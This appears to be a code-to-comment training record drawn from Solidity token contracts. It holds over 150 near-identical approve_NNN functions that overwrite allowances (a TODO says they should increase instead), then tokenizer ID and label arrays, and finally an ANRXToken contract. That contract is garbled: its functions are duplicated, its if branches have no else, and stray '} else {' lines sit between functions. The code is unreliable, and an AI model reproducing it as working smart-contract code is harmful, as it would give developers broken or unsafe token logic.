function approve_751(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_752(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_753(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_754(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_755(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_756(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_757(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_758(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_759(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_760(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_761(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_762(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_763(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_764(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_765(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_766(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_767(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_768(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_769(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_770(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_771(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_772(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_773(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_774(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_775(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_776(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_777(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_778(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_779(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_780(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_781(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_782(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_783(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_784(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_785(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_786(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_787(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_788(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_789(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_790(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_791(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_792(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_793(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_794(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_795(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_796(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_797(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_798(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_799(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_800(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_801(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_802(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_803(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_804(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_805(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_806(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_807(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_808(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_809(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_810(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_811(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_812(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_813(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_814(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_815(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_816(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_817(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_818(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_819(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_820(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_821(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_822(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_823(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_824(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_825(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_826(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_827(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_828(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_829(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_830(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_831(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_832(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_833(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_834(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_835(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_836(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_837(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_838(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_839(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_840(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_841(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_842(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_843(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_844(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_845(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_846(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_847(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_848(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_849(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_850(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_851(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_852(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_853(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_854(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_855(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_856(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_857(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_858(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_859(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_860(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_861(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_862(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_863(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_864(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_865(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_866(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_867(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_868(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_869(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_870(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_871(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_872(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_873(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_874(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_875(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_876(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_877(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_878(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_879(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_880(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_881(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_882(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_883(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_884(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_885(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_886(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_887(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_888(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_889(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_890(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_891(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_892(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_893(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_894(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_895(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_896(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_897(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_898(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_899(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_900(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_901(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
}
|
TODO: should increase instead
|
function approve_168(address spender, uint value) public returns (bool ok) {
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
| 6,453,881 |
[
1,
6241,
30,
1410,
10929,
3560,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
6617,
537,
67,
23329,
12,
2867,
17571,
264,
16,
2254,
460,
13,
1071,
1135,
261,
6430,
1529,
13,
288,
203,
565,
389,
12908,
4524,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
65,
273,
460,
31,
203,
565,
3626,
1716,
685,
1125,
12,
1234,
18,
15330,
16,
17571,
264,
16,
460,
11272,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x10d658dd70eB04E5FA5aaEf482a82EdBCee6C031/sources/ANRXToken.sol
|
The contract can be initialized with a number of tokens All the tokens are deposited to the owner address @param _balance Initial supply of the contract @param _name Token Name @param _symbol Token symbol @param _decimals Token decimals
|
contract ANRXToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
function ANRXToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
}
} else {
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
}
} else {
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
return super.balanceOf(who);
}
}
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
return super.balanceOf(who);
}
}
} else {
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
return super.approve(_spender, _value);
}
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
return super.approve(_spender, _value);
}
}
} else {
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
